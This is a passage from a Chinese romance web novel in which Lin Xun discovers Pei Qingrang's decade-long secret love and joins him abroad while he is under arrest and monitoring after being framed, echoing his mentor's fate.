他捡到她的小狗,跟她约好在高考结束那天见面,他告诉她小狗会?一直等你回来。 他给她发狗狗的照片,他把?小狗照顾得很好,直到狗狗去世。 她不知道怎么还裴清让的人情,他说?他或许只是想看你笑。 她问?他的近况,他说?——结婚了,和初恋。 她问?初恋的含义是第一个喜欢的人还是第一个在一起的人,他说?是“看到这?两个字只会?想起她的那个人”。 所以,是裴清让吗? 她宁可不是他,宁可他没有喜欢自己,宁可他没有为?她做了那么多还是被她肆意伤害。 她宁可他们真如?他所说?是“到此为?止”的关系,裴清让永远永远、高高在上。 林姰失魂落魄地?回到家,翻箱倒柜找出自己十年前曾经用?过的手机。 接通电源之后,时间一路倒退、退回他们认识的第一天。 很久很久之前,他发照片给她的时候,她的全?部注意力都在狗狗身上,所以直到现在才发现—— 高考那年8月底的照片,背景里?有家酒吧、她曾在那遇见兼职的裴清让,所以是在晏城。 9月底发来的的照片,背景里?红色的圆顶亭子叫零零阁,所以是在他曾经读本科的清华。 几年后,他拍狗狗的照片里?开始出现金发碧眼的外国人,高高的玻璃穹顶,是他读硕博的麻省理工。 每一张照片,都在不经意间和他的人生轨迹严丝合缝卡在一起。 所以她到底错过了什么,又错过了多少? 七八年的时间,成千上万张照片,是不是每一张都在说?:林姰,我很想你。 林姰一张一张细细看过去,她的眼睛很疼,头痛欲裂。 外面天色不知不觉暗下,又慢慢亮起,清晨的光线温柔抚过她的脸颊。 忽然之间,所有的光线凝聚在一点,她的目光陡然凝滞。 只那么一秒钟的时间里?,眼眶就湿润了。 难怪她跟裴清让提起这?个人的时候,他说?不用?怀疑,他喜欢你,千真万确。 难怪他愿意收留她的小狗,他告诉她小狗会?一直等你回来。 难怪他告诉她想念一个人是只敢以小狗的名义说?想她。 大一在伦敦的跨年夜,她在广场撞到裴清让。 黑发黑瞳的中国帅哥,面孔清冷、帅得人倒抽一口冷气。 他和她说新年快乐。 到家就看到“心软的神”给她回复:今天亲口和她说?了。 林姰久久凝视那张照片。 此时此刻,命运恩赐,时间暂停。 二十八岁的林姰,在狗狗清透的瞳孔里?,看到了十七岁的裴清让- 在收到那封“我们到此为?止”的邮件之后,林姰第一次拨通裴清让的电话。 她总是清醒理智到冷漠的地?步,因为?害怕受伤所以从?不袒露真心,此时攥着手机的手指关节泛白,空白当机的大脑甚至不知道电话接通之后自己应该说?什么。 只是耳边响起冰冷的提示音,告诉她“电话无法接通”。 下个瞬间,手机突然震动,心脏提起,似乎快要从?嗓子眼儿跳出来。 却发现,是手机推送新闻——《华裔物理学家今日凌晨被发现在家中自杀身亡。》 下面有人评论—— 【怎么又有华裔科学家在国外自杀?当年芯片专家盛聿也是。】 【如?果盛聿还在,中国现在的芯片市场国产芯片起码要占一半,虽然他的学生也很出色,但到底不能跟自己的老师比啊!】 【当年盛聿马上就要回国建立自己的芯片实验室了,结果在机场被逮捕,被24小时监控出行?还要带着电子脚铐,一个芯片专家就这?样被毁了……】 林姰定定看着这?个从?未留意过的名字,脑海里?某些细节画面突然可以串联成线。 她记得第一次见到姑姑的男朋友,是姑姑放暑假的时候、她男朋友来找她,那个叔叔斯文清秀很好看。 她那个时候还很小,问?姑姑这?个人是不是她的姑父,当时姑姑脸颊泛红,说?叫什么姑父,叫盛叔叔吧。 所以,这?个盛叔叔,是盛聿吗? 为?什么一个芯片专家会?平白无故被拘捕不能回国,最后不惜自杀结束生命? 那裴清让…… 不安如?同一张密不透风无法挣脱的网,突然兜头笼罩下来,慢慢收紧,让她无法呼吸。 林姰拨通姑妈的电话,电话响了两声,很快被接起。 “姑妈。”当她开口,才发现自己的嗓子哑得厉害,像是得了重感冒。 “怎么啦?你生病了吗?怎么这?么重的鼻音?” 林姰吸了吸鼻子,在自己最喜欢的长辈面前,终于无法再装坚强:“姑妈,我知道我不应该再跟你提那个人,但是我真的没有办法了……” 电话那边,姑妈声音柔和温暖:“你跟姑妈说?什么都可以,慢慢说?,是遇到什么事了吗?” 林姰蜷缩在沙发一角,手臂紧紧环着自己的膝盖,可她还是在这?个春光明媚的清晨,冷得如?同在寒冬腊月里?走了一遭。 她的声音,在不受控制地?发颤:“盛叔叔力保的那个学生,他是不是叫裴清让?” 那个被导师力保回国、背负导师遗愿,在导师自杀身亡后没有一刻不活在愧疚和痛苦中的人,是裴清让吗? 姑妈没说?是也没说?不是,语气突然严肃起来:“他出什么事了吗?” 这?样下意识的问?法,无形中坐实了林姰的猜想——裴清让联系不上,裴清让跟她说?“我们到此为?止”,是因为?他出事了。 “我找不到他了,”林姰深呼吸,借此让自己冷静下来,“所以那年,盛叔叔到底发生了什么事,您可以告诉我吗?” 姑妈轻声开口:“我一直以为?他不回国,是崇洋媚外,是浪费国家的栽培,我觉得他变了,因为?他大学的时候曾经说?:出得去不是本事,回得来才是。” “后来他在国外混得风生水起,藤校任教、高科挂职,专利不知道取得多少,我不喜欢他为?别?的国家效力,也知道他不会?为?了我放弃自己理想回国,所以跟他提了分手。” “我单方面断绝了和他的一切联系,再看到他的消息,是分手很多年后,他自杀身亡。” “我才知道,他是回国那天在机场被捕的,高科怕他回国后威胁到自己的地?位,以莫须有的罪名栽赃陷害,盛聿一个穷教书的,千万保释金和律师费是天文数字,他只能被拘禁,研究全?部被搁置,人被24小时监控,出行?要戴着电子脚铐,一个一心科研的人,把?他关起来,不是要他的命是什么?” “后来我才想明白,”姑妈的声音里?没有喜悲,却听得人难过,“如?果他不爱国,他的学生怎么会?无一例外全?部回国?所以,他一开始,就在布局,是我误会?他了。” 林姰挂断电话,心绪久久无法平静。 所以现在,裴清让作为?学生,是不是也遇到了同样的事情? 她在通讯录里?找到了李明启。 等待电话接通那半分钟的时间里?,无可救药想起和裴清让重逢那天。 他们拿错手机,她误接电话,电话那边问?他——“庆功宴都不参加就急匆匆赶回去,见着你的白月光了?” 也想起那天,裴清让跟她说?的第一句话不是“我喜欢你”,而?是“过得好吗”。 原来关于你喜欢我这?件事,有那么多伏笔,是我一直以来麻木冷漠迟钝没有发现。 电话通了。 林姰声音平稳清晰:“李明启,我是林姰,裴清让现在在哪儿?” 电话那边沉默了好半天,李明启才干巴巴开口:“他决定卸任苍梧的职位,以后留在国外,但也不想耗着你,不如?你们就好聚好散吧。” 林姰冷静起来的时候非常可怕,说?话一针见血:“李明启,我不傻,我以裴清让妻子的身份,拜托你跟我说?实话。” 李明启还是不肯开口。 林姰今天必须要得到一个答案,她直截了当地?问?:“他是不是出事了?是不是跟高科有关?是不是和他导师遇到了同样的事情?” 电话里?每多一秒沉默,她的恐惧就急剧暴增,手指死死攥着手机、关节泛白。 李明启终于肯承认了,男人嗓音发苦发涩:“我刚给那位哥交完几千万的保释金,但他要接受监控,护照也不在自己手里?,还要等法庭随时传唤,高科在拖延时间,所以官司要打一年,还是十年,都不好说?。” 虽然已有心理准备,但是“保释”两个字如?同尖刀直直挑断林姰的神经,那么一个清清白白、干干净净的人,为?什么会?跟“保释”两个字联系在一起? 李明启苦口婆心,他已经说?了不该说?的,不介意再多说?一点:“林姰,裴清让发给你的邮件是定时的,那个时候他已经出事了,所以你不如?就听他的吧,反正你也没有多喜欢他……”- 时间仿佛停止流动,每一分钟都是上一分钟的重复,任他怎么走,都看不到终点。 所以老师就是在这?样日复一日的重复里?,终于忍无可忍,选择从?高楼一跃而?下吗? 裴清让在这?一刻终于理解了他的导师。 一个贫苦出身的教书先生,所有资产都投入他热爱芯片事业,律师费和保释金对他来说?都是天文数字,所以没有半分反抗能力只能任人扣押。 搞科研时一分一秒都不舍得浪费的人,如?何?能忍受时间变成无意义的重复,他的所有研究都被搁置,“芯片”二字从?此和他无关,出行?要戴电子脚铐,回国遥遥无期。 所以他选择结束自己的生命,去世时远远没到自己这?一生的巅峰期,明明只要他愿意留下,就可以一辈子衣食无忧,当他风光无两的藤校教授,过多少人梦寐以求的生活。 李明启给他交了几千万的保释金,钱款从?他的个人账户划拨。 可是这?个瞬间,他不受控制地?想起林姰,想起她说?:不管发生什么,你都要记得,你老婆还有一百多万呢。 裴清让无声弯起嘴角。 暗恋一场,得她一句话,值了。 门铃被人按下,他今天要和律师见面。 他不能离开规定的区域,电子监控二十四小时开着,一旦离开,就会?响起无比耻辱的报警声。 裴清让起身开门。 当门被打开,他猝不及防对上一双清透的眼睛,黑白分明。 林姰面无表情站在他的面前,就像是从?不想醒来的睡梦深处走到现实,眼神平静而?锋利,冷得像冰。 只是林姰没有情绪的眼神,在触及裴清让脚踝上屈辱的监控设备时,变成难以抑制的酸涩、和想哭的冲动。 这?个让她魂牵梦绕的混蛋。 他的头发长长了,下巴冒出泛青的胡茬,衬衫怎么会?显得如?此 宽松,他到底是瘦了多少……还有,这?几个月的时间,他到底是怎么过的,她不敢想。 裴清让情绪波动只在眼底,很快就恢复一如?往常的清冷,低头问?她:“怎么来了?” 林姰一开口,无法言说?的酸涩上涌,她的语速很慢:“不是你说?的吗?与?亲近之人,不可说?反话,不可说?气话,不可不说?话。” 她想起自己回复裴清让的邮件,说?反正她也没有喜欢他,所以不用?觉得对不起她。 她是如?此睚眦必报的性?格,自己受伤也一定要把?别?人扎得鲜血淋漓。 眼下,那些刺都扎向自己,让她疼得无法呼吸:“我说?反话了,也说?气话了,在今天之前,我们已经三个月没有说?话了。” 那双总是坦荡无畏的眼睛里?,多了很多曾经没有的情绪,有难过、有心疼、有酸涩,让她看起来不再坚不可催。 裴清让站在她面前,并没有请她进来的打算,他的语气很轻,甚至有种宽慰她、想要哄她放心的温和:“你也看到了,我现在没事,回去的机票订了吗?” 林姰仰起脸。 那个高高在上桀骜不驯的裴清让,在她面前时,从?来都是盔甲粉碎、全?无防备,只有一个干干净净温温柔柔的灵魂,没有任何?棱角,也没有一根尖刺,从?来都可以任她伤害。 她心疼得快要碎掉了。 所以在裴清让还想说?什么的时候,她直接攥住他的衣领吻了上去。 裴清让毫无防备,被她抵在墙上。 予取予求,就好像她要什么他都可以给她。 她吻得很凶,没有半分温柔,他的嘴唇被她的牙齿咬破。 视线撞在一起,林姰咬字清晰:“官司打一天,我陪你一天,打一年,我陪你一年,十年就十年,通通无所谓,只要你不跟你的老师一样……” 她在来的路上担惊受怕,甚至在万米高空之上被噩梦惊醒,只因梦里?裴清让做了和老师一样的事情…… 所有被拼命压制的酸涩、委屈、害怕都在这?一刻齐齐上涌,让林姰睫毛湿润,但她还是不肯认输不肯示弱,直视裴清让的眼睛,一字一顿地?告诉他:“裴清让,我喜欢你,我要跟你在一起。” 表白表得跟下战书一样,倔强、决绝、毅然决然。 可每个字音,都如?同黑夜里?的点点灯光,串联成线,变成一座小小的灯塔。 林姰看见裴清让红了眼睛,那么高高在上的人,竟然会?像茫然无措的小朋友,垂着长长的睫毛,鼻尖在泛红。 她的目光在不经意间,扫过他身后的相框。 相框里?,是十七岁的裴清让,和他捡到的小狗。 相框外,是二十八岁的裴清让,和二十八岁的林姰。 他们已经错过太多年了啊…… 林姰的眼泪,终于大颗大颗滚落。 “让我陪着你吧,好不好?就当是,还你暗恋我的那十年。”第57章 第 57 章 我的初恋 凝滞的时间开始重新流动, 每分每秒不?再?是上一秒的机械重复。 在黑夜里踽踽独行的人,终于在最绝望的时刻看到一束火把,火光微弱却坚定, 执意地为他举在那里,等他靠近。 裴清让的眼睛慢慢变得湿润。 爸妈离婚不?要他的时候, 他没有办法委屈, 因?为他满心?想着如何把妹妹和自己养大。 导师在国?外身亡的时候, 他没有时间处理自己的情绪, 因?为导师生前未完成的心?愿、未能尽的义务都要他来完成。 他已经习惯自己是撑起所?有的那一个, 可?是现在他官司缠身, 不?知?道自己面临的是十年、二?十年的监控, 人生几乎要被毁掉。 有人站出来,一字一顿地跟他说:让我陪着你好?不?好?。 那么坚强那么锋利的林姰,此时此刻像一只被拔掉所?有尖刺的刺猬, 袒露出不?曾示人的柔软和脆弱,站在他的面前, 发颤的尾音里, 是心?疼、难过还有无?法言说的委屈。 偏偏眼神无?比坚定, 透过那双清透的瞳孔, 似乎可?以瞥见那个赤诚、勇敢、无?所?畏惧的灵魂。 像一束光, 光芒微小,却会一直亮在那里。 于是,他伸出手臂, 把那束光抱在了怀里。 天地寂静,怀里的人肩膀颤抖,哭声因?为被她压抑到极致,变成断断续续的、委屈的哽咽。 他才发现她瘦了, 瘦得厉害,抱在怀里的时候如此明显。 原来被拘捕、被监视、剥夺自由,远远没有她的眼泪烫在胸口让他心?慌、让他难过。 他只能轻轻拍她的肩膀,一遍一遍在她的耳边哄着,说我没事,不?要哭了好?不?好?…… 林姰紧紧环住裴清让的腰。 她明明最讨厌掉眼泪,宁可?打碎牙齿和血吞也绝对不?要在别人面前露出软肋。 可?现在,眼泪湿了裴清让衬衫胸口的位置,她带着哭腔的声音断断续续—— “我不?可?能再?喜欢别人了裴清让……” “你太过分了……” “你让我怎么喜欢别人……” “谁也比不?上你……没有比你更好?的人,怎么可?能有比你更好?的人啊……” 人生能有几个十年呢? 怎么可?能还有一个人,默默站在那里,不?言不?语甚至是不?期待于被发现,因?为知?道她不?喜欢她,就只是希望她好?。 怎么可?能有人像他,知?道她想要找一个不?喜欢的人结婚,所?以决口不?提喜欢,做尽了温柔事,说能和她有过一些瞬间就可?以了,说有些人能遇到就已经很好?了。 或许,在她意识到之前,她就已经喜欢他了,想要吻他的冲动不?是来自于生理性喜欢而是干干净净的喜欢,只是她不?敢相信不?敢细想,因?为怕一旦喜欢一个人交付真心?就要受到伤害。 她只是看到他说“我们到此为止”就难过到掉眼泪了,那裴清让呢? 她一次一次用自己的行动和语言证明,她不?喜欢他,她和他没有以后?,他们就只是接吻的关系。 林姰想想就觉得心?疼得快要死掉了。 如果?祝余没有在书店签售,如果?那张明信片没有被那个女孩念出,如果?店员小姐姐没有告诉她一切…… 会不?会在若干年后?的某一天,她在新闻上看到一个眉眼颓败人生被毁掉的裴清让,又或者像当年的姑妈、得知?盛叔叔自杀身亡的消息…… “不?要哭了好?不?好??” 他的语气和呼吸都很轻,从头?顶落下,安抚小孩子一般揉了揉她的脑袋。 林姰仰起头?,她的头?发在他怀里蹭乱了,眼皮发肿,睫毛被眼泪打湿,鼻尖通红,都不?用看,都知?道自己现在不?成样?子。 偏偏裴清让捧起她的脸,很认真地给她擦眼泪,动作轻而又轻仿佛对待珍宝:“哭什么,这不?是好?好?在这儿呢。” 林姰抱着他不?放,带着浓重的鼻音恶狠狠警告:“所?以,不?准再?说我们到此为止了!我才不?要跟你到此为止!” 他喜欢十年没有回应这件事,比跟她说我们到此为止更让她难过。 收到邮件的时候,她只是掉了一下眼泪,可?是知?道他暗恋她这件事,却让她的心?脏每分每秒都被人撕扯一般的疼。 裴清让还没应声,林姰伸手去捏他的脸,迫使他看着她的眼睛:“你说一次,我来找你一次,我们就这样?耗着,看谁能耗过谁……” 裴清让垂眸,林姰语气很凶,清亮的瞳孔刚下过一场大雨,含着泪光的眼睛有如匕首,照着他心?脏最柔软的位置刺下去。 他有过很好?的时候,那年苍梧上市、市值疯涨、资本上赶着送钱,可?是那个时候,他不知道以什么理由什么身份联系林姰,现在,他马上就要一无?所?有,面临无?休止的官司和不知何时结束的拘禁,根本不?知?道自己能给她什么。 裴清让嘴角缓缓牵出一个笑,弧度发苦发涩:“傻不?傻。” 林姰抿唇,气呼呼的:“快点说好?,不?然我现在哭给你看!” 不?会再?有一个人,像林姰表白?带着威 胁,像林姰坦荡明亮,像林姰认定了什么就不?顾一切。 “好?。” 轻而凝定的字音落在耳边,林姰紧绷的神经在这一刻才真正慢慢松懈下来。 昨天她迫使李明启把裴清让在国?外的住址发给她,紧接着一刻没有犹豫地订下机票,之后?把狗狗送到祝余那里,跟上司方茂森请假,正是项目的关键时期,方茂森语气不?善说话?难听,但她完全没有精力去在乎。 就算是辞职,这个假她也一定要请,人也一定要见。 十几个小时的航班,她走过他的来时路,担心?、恐惧、难过拧成绳一般狠狠勒在她的心?脏,让她无?法呼吸。 闭上眼睛,眼前都是裴清让—— 同?学聚会上的,婚礼上的,新闻发布会上的,还有被她摁着亲吻的,是正中她审美的、眼睛好?看的男人。 平直锋利的剑眉,尖而下坠的内眼角,笑起来时眉眼粲然,还有好?漂亮的睫毛和卧蚕,整个世界都明亮。 现在,她所?有的力气都在慢慢卸掉。 现在终于抱到自己想抱的人、得到自己想要的答案,她的额头?抵在裴清让胸口,才发现自己头?疼得要命、眼睛也是,她想念他身上清冽治愈的气息,所?有防备悄无?声息融化,疲倦和困意在不?经意间来袭,林姰突然觉得好?累也好?困。 裴清让柔声问她:“饿不?饿?吃点东西睡一觉?” 林姰点头?,哭和表白?都太耗费力气。 偏偏她又舍不?得他从眼前消失,所?以裴清让去做饭的时候,她寸步不?离,从他身后?抱住了他的腰。 他走一步她跟一步,脑袋抵着他宽阔后?背,如同?回到自己的避风港,站着竟然也能迷迷糊糊睡着。 终于抱到这个混蛋了。 再?也不?要松手了。 人在心?情起伏过大的时候,是很难有什么胃口的,林姰没吃多少,就放下筷子。 门?铃突然被按下时,她陡然一惊,有了应激反应般眼神惊恐,下意识问:“是谁?” 那道充满防备的眼神看得裴清让心?酸。 他十七岁多看一眼都觉得冒犯的人,他现在竟然让她为他担惊受怕。 他温声:“是我的律师,我们约好?今天见面。” 林姰瞬间松了口气,她在等飞机的时间里,看了好?多华裔科学家离世的新闻,以至于一点点风吹草动就能让她思维往最糟糕的方向发散。 律师到达之后?,林姰去到裴清让的卧室。 这里是他读硕博时住的房子,距离学校很近。 那个时候他刚和几个同?学创立苍梧,应该是非常意气风发的时候。 床头?的相框里,摆着他和狗狗的照片。 林姰拿起来,春光、河畔、青草地,裴清让被狗狗扑倒、笑得开怀,弯弯的眼睛里有一池春水,只是隔着相框瞧着,就让人心?脏砰砰直跳。 从他房间的窗户看出去,是一片惊心?打理过的小花园,在这其中,竖着一个木头?雕刻的小小墓碑,上面写着狗狗的名字。 她想起裴清让告诉她,是因?为狗狗的墓碑在这,所?以没有卖掉这栋房子。 怎么会有他这样?的人,怎么会有如此温柔的灵魂,不?管经历了什么、又正在经历着什么,始终干干净净、一尘不?染。 律师离开时,已是傍晚。 裴清让推开卧室的门?,呼吸变得轻而又轻。 林姰不?知?道什么时候睡着,在他上学时睡的那张床上,眉眼柔和、头?发散乱、不?带任何戒备心?。 他慢慢在她的旁边躺下,她睡了多久,他看了她多久。 胸腔有沉闷的撞击感,心?脏的每一次跳动,都在告诉他:她也喜欢你了。 林姰睡得并不?安稳。 当眼前陷入黑暗,混沌一片的大脑开始播放电影,主演是她自己。 这部电影里,她在收到裴清让的邮件后?,毅然决然选择和她分开。 之后?,她去冲浪、看极光、看火山、给企鹅朋友们织毛衣,胸口空空荡荡,人生肆意潇洒。 在她已经忘记这个人的时候,她突然看到一条新闻——苍梧科技创始人裴清让在被拘捕十年后?于家中自杀身亡。 看到男人黑白?照片的瞬间,空空荡荡的胸口似乎有什么开始重新跳动。 她低头?去看,那是自己砰砰跳动的心?脏,里面每一帧画面都是关于他。 如同?失忆的人突然找回自己的记忆,她突然明白?他为什么会不?告而别。 可?是,可?是,他已经不?在了。 过往化作漫天灰烬,每一片灰烬里都是他。 弯着眼睛的、抿着嘴角的、笑着揉她脑袋的…… 她拼命想要抓住,却没有任何办法,只能看着那笑容褪色直至黑白?。 耳边有人在轻声喊她的名字:“林姰。” 她找不?到声音的来处,却听见那道声音温温柔柔问她:“做噩梦了吗?” 梦……是梦吗? 睁开眼睛的瞬间,所?有灰烬消失,裴清让的眉眼轮廓慢慢清晰,身体先于意识做出反应,她扑上去紧紧抱住眼前的人——温热的、骨骼坚硬的、气息清冽的,她一个人的裴清让。 湿润的眼睫扫在他的颈窝,她的声音闷闷的、带着止不?住的颤音:“你没事真的太好?了。” 她在梦里亲身经历了一次失去,痛苦有如实质,以至于现在竟然如同?失而复得,只觉得只要他还在就太好?了。 裴清让揉了揉她的脑袋,在她耳边温声哄着:“我不?会有事的,只不?过,时间可?能有点久。” “没关系,时间久不?怕,”林姰吸了吸鼻子,闷声闷气道:“我那一百多万可?以买好?多好?多机票呢。” 他都等她那么久了,她等一等他会怎样?呢? 她看着裴清让的眼睛,想要换回自己平日里面无?表情的冷脸,却无?法做到。 于是,她只好?用这张哭花的、甚至是看起来有点可?怜的脸,很认真地告诉他:“你不?用着急,我会过好?我自己的生活,只用一点点空闲时间等你。” “所?以你不?用有负担,也不?用怕耽误我,我只是偶尔才会有一点点想你,而且我也不?喜欢跟人整天腻在一起,容易缺乏新鲜感,你没听过吗?距离产生美,异国?恋刚刚好?。” 裴清让目光流转在林姰的眉眼之间。 这个口口声声说不?喜欢整天跟人腻在一起的人,在他去做饭的时候寸步不?离,她说这些,不?过是想让他宽心?。 再?也没有一个人会像林姰。 比谁都坚硬,比谁都柔软。 他不?忍心?戳穿她,一如往常听之任之的态度:“好?,都听你的。” 林姰仰起脸在他唇上奖励似的亲了下:“你要是早这么乖,我就不?会把你嘴唇咬破了。” 裴清让捏她的脸,清澈眼底又是那种?拿她没办法的无?可?奈何,只低低说了句:“你啊。” 林姰嘴角弯起,目光在不?经意间触及他床头?和狗狗的照片,心?脏又隐隐泛起被揪扯着的疼。 “其实,我跟你说过的那个初恋,就是我们第一次接吻时,你问有没有你好?亲的那个初恋……” 裴清让薄唇轻抿,唇角平直,跟她确认:“你一定要在现在说他吗?” 林姰点头?。 她决定了,以后?想说的话?一定要说完,想要表达的爱意一定要不?留余地,受伤也好?过遗憾。 她抿了抿唇,哭过之后?鼻音很重:“我出国?留学最难熬的那段时间,是靠着他熬下来的,我不?知?道他在哪、叫什么名字、做什么工作,但肯定是一个很温柔很温柔的人。” “我每天都在等他的信息,等他告诉我,我的小狗又长大了一点……可?能一开始是对狗狗感兴趣,后?来是对他本人感兴趣。” 对上裴清让错愕的目光,林姰继续说:“后?来我想跟他表白?,试探他有没有女朋友,可?是我太笨了,大一的跨年夜,我问他有没有跟喜欢的女孩说新年快乐,他说今天亲口跟她说了……” “书店的店员小姐姐告诉我,明信片是你写的,你说‘结婚了,和初恋’,他也跟我说过这句话?,我经常觉得你们很像,然后?在他给我发的照片里,发现狗狗瞳孔里有你的影子……” 清瘦的、高挑的、轮廓青涩的、却也让人过目难为的,十七岁的裴清让。 “所?以,我说的初恋是你,我一直给你备注‘心?软的神’,”林姰笑了下,那笑纯粹,也难 得有点不?好?意思,哭过的瞳孔亮晶晶的,“我都没见过你,就喜欢你了。” 林姰的嗓音很轻,带着细碎笑意,落在裴清让耳边,却是轰然作响,那从心?脏最深处迸发的情绪有如惊涛骇浪。 “所?以小狗不?是你捡到的吧?怎么会那么巧,就被你捡到了。” 因?为看到她哭,所?以自行车骑过晏城的大街小巷,不?是什么名贵品种?,不?会被人带回家,最大的可?能是被人卖到屠宰场。 十七岁的裴清让,没有想过有一天会在和林姰同?床共枕的时刻,面对面坦白?:“我找了很多天,因?为不?想看你哭,没想到最后?让你哭得最厉害的人是我。” 他的指尖落在她的脸颊,带着无?限眷恋,指腹摩挲,珍而重之。 林姰握住他的手:“是我自己愿意的。” 如此近的距离,她能看到裴清让瞳孔深处自己的影子:“为什么愿意帮我养小狗?” 裴清让那双天生锋利的眼睛,此时没有任何攻击性,睫毛浓密低垂,目光都有些湿漉漉的。 “因?为觉得只要小狗还在,我就还有机会再?见到你。” 轻而凝定的字音变成无?形的手,捏紧林姰的心?脏。 所?以他写在黑板上的、高考之后?要做的事情,是表白?。 所?以他高考结束那天去见人,没有见到,回家发起高烧。 所?以他告诉她“小狗会等你回来”,说的不?是小狗,是他自己。 上一个十年,你在我身后?。 这一个十年,我来走向你。 “裴清让。” “嗯。” 林姰笑,笑得眼睛泛红,瞳孔深处光芒细碎:“谢谢你喜欢我。” 让我知?道这个世界上,有人无?条件站在我这边,而一直以为不?被爱的我,其实一直都被人温柔地爱着。 裴清让低头?,吻上她的哭过的眼睛、泛红的鼻尖,修长而骨节分明的手捧着她的脸,薄唇游走一点一点往下,最后?覆在她说喜欢他的嘴唇。 嘴唇相贴的瞬间,灵魂战栗,似有烟花在耳边轰然炸响,林姰勾住裴清让的脖颈,主动把自己送上去给他亲。两人都吻得很深、也很急,不?给对方留任何余地,唇齿相依、耳鬓厮磨,就连心?跳都紧贴在一处,分不?清彼此。 如果?明天世界末日,那就世界末日吧。 呼吸缱绻交错,林姰听见裴清让在耳边低声说:“谢谢你,愿意被我喜欢。”第58章 第 58 章 和你恋爱 林姰在裴清让身边, 睡了这段时间最踏实的一觉。 醒来时外面?天还是暗的,她却不舍得再闭上眼睛,因为天亮之后就要回国。 他们第一次同床共枕, 是在云南,裴清让生病她不让他睡帐篷, 中间的距离能?隔一个?人?。 第二次, 是她痛经, 裴清让心甘情?愿给她当人?形抱枕, 要抱给抱、要亲给亲, 是真的被她欺负得不轻。 这是唯一一次, 从夜晚到清晨, 她在他的怀里醒来。 以前住在一起的时候,每天早上她起床时,裴清让已经跑步回来, 手里有花、也有她喜欢的点心。 每天下班拖着疲惫到家时,狗狗等在门边, 裴清让在厨房, 看?到她的第一句话总是:“洗手吃饭。” 恍然?意识到, 原来睁开眼睛看?到他, 已经是一种奢侈。 裴清让侧躺, 手臂环着她的肩,呼吸之间都是他肌肤上好闻温热的气息。 室内光线昏暗,他的眉眼都隐匿在阴影中, 黑发从额前滑落,微微遮住眉眼,睡着的时候没有那么冷淡肃杀、显出五官原本精致俊秀的样子,长睫低垂, 柔软安静。 她的心脏仿佛也掉入软绵绵的云朵,一片阳光晒过的轻盈。 原来喜欢的人?也喜欢自己,是这样的感觉,只?是看?到他心脏就会跳得发慌,只?是安安静静的拥抱,就让人?心口发热发烫,想要时间就此暂停、地老天荒。 林姰吻上他的嘴角,她吻得格外温柔,也格外小心翼翼。 当相贴的脸颊分开,裴清让眼睫轻颤,慢慢睁开眼。 鼻尖相抵的距离,呼吸亲昵交织在一起,温暖的气息让人?想要永远沉溺。 这么好看?这么干净这么温柔的人?,怎么能?被困在这里,过这样暗无天日的日子呢? 可是,只?要高科恶意拖延开庭时间,裴清让就要一直被耗在这里,或许耗到苍梧的3纳米芯片胎死腹中,耗到芯片产业链条破裂苍梧破产,耗到他身上的风发意气全部消失再也没有反击之力。 “怎么不再睡一会儿?” 裴清让低低开口,嗓音有种刚睡醒时的惺忪懒散,从她的角度能?看?到修长清晰的侧颈线条,锁骨平直深陷,没入白色短袖领口。 林姰眼角眉梢都是眷恋:“想多看?看?你。” 裴清让嘴角轻弯,把她黏在脸侧的长发顺到而后,手却没有离开:“不是说不喜欢腻在一起吗?” 林姰嘴角往下撇,最后还是讲了真心话:“其实我现在就开始想你了。” 他们像一对平凡但是相爱的新婚夫妇,在同床共枕醒来后的清晨,鼻尖相抵、呼吸交错,亲昵耳语,只?可惜,现在是在异国他乡,他们马上就要分开,并且不知道还要分开多少?年。 林姰看?着那一如既往清澈的眉眼,心疼得不行:“我能?为你做点什么?或者做点什么能?让你不那么难过?” 裴清让睫毛染了笑?意,瞳孔粲然?明?亮,笑?起来是坦荡清澈的少?年模样,就好像什么都不会把他击垮,就好像他永远可以解决任何难题,你永远都可以相信他。 他冰冷的嗓音柔软:“睁开眼睛看?到你,就已经是命运恩赐了。” 字音落在耳畔,却慢慢渗入心底,柔柔化成水,原来这个?世?界上除了外婆,还有人?把她视如珍宝,她在,竟然?就能?算作?命运恩赐。 她不想走?,在彼此心意都明?了的现在,但是手里东恒的项目到了发布会前的测试阶段,那么多人?付出那么多心血,她不能?成为不负责任拖后腿的那个?。 她没有告诉裴清让,她的辞职报告已经写好,受够了公司内部的尔虞我诈勾心斗角,不想在那继续浪费生命。 辞职后,她原本是想gap一年给自己放假,现在打算办个?工作?签证留在裴清让这边,管他官司打几年,她都不要分开。 裴清让给她做好早饭,又对待小孩子一般,叮嘱这个?、叮嘱那个?、非常非常老父亲。 在离开之前,他抬手揉了揉她的脑袋:“回国之后,不用?担心我,我不会怎么样的。” 林姰点头。 其实她说谎了,她说自己不想整天跟他腻在一起,说异国恋刚刚好。 可是现在,干干净净温温柔柔的裴清让在她面?前,她只?想赖在他的怀里不走?。 叫的车还有十分钟才到,她搂住他的脖颈,剔透瞳孔里是不自知的依赖和眷恋,让那双原本冷静淡漠的眼睛,显出不曾示人?的柔软:“车还有十分钟才到,亲亲我吧。” 裴清让低低说了句:“遵命。” 接吻的时候,他从来都是捧着她的脸,让她觉得自己被人好好放在心上,从来都很照顾她的感受,手也不会乱碰,薄唇厮磨、辗转、轻轻含着她的吮吸,裴清让吻得格外温柔,甚至带着取悦她的意味,温柔得引人?溺毙。 她被吻到喘不过气,可还是想要凑上去给他亲。 裴清让冷淡凸起的喉结、散漫而又肆意地滚动着,他揉了下她的脑袋,低低喘息着提醒:“好了,再亲下去不让你走了。” 林姰的嘴唇被含吮到发麻、充血、颜色更深,小声抱怨:“你以前都不怎么亲我。” 裴清让被她幽怨的表情?逗笑?,眼睛弯弯的,睫毛长长的,瞳孔特别的亮:“那你不会自己亲上来吗?” 林姰被他笑?得心脏砰砰直跳,这人?怎么能?好看?成这样,笑?起来唇红齿白、一副清爽的少?年模样。 她的心脏好像在嗓子眼、一开口就能?跳出来:“可我会觉得你不喜欢!” “你怎样我都喜欢,”裴清让修长漂亮的手指摩挲她的脸颊,心无旁骛深深注视着她,“你不知道我需要多努力,才能?克制吻你的冲动。” “以后不用?克制了,”林姰脸颊发烫,在他唇上啄了一记,“走?啦。” 她的尾音轻快,即使知道裴清让在她身后、走?向接她的车时,她都没有回头。 直到车门带上,后视镜里那道身影清瘦高挑、形单影只?,脚踝上还有监视设备,那些被她压下的、不敢在裴清让面?前流露的心酸和心疼齐齐上涌,跟他在一起时泛在心头的甜,变成无法言说的酸涩,再次让她眼眶发烫。 她好想留下来陪他,她不想他一个?人?。 回国之后,林姰做的第一件事是退掉自己新租的房子,搬回她和裴清让住的地方?。 打扫卫生,换上鲜花。 